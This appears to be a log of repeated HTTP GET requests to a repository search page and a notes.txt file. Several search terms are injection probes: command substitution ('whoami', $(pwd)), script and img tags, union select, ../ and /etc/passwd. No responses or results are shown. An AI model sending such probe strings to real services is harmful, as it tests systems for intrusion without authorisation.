{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
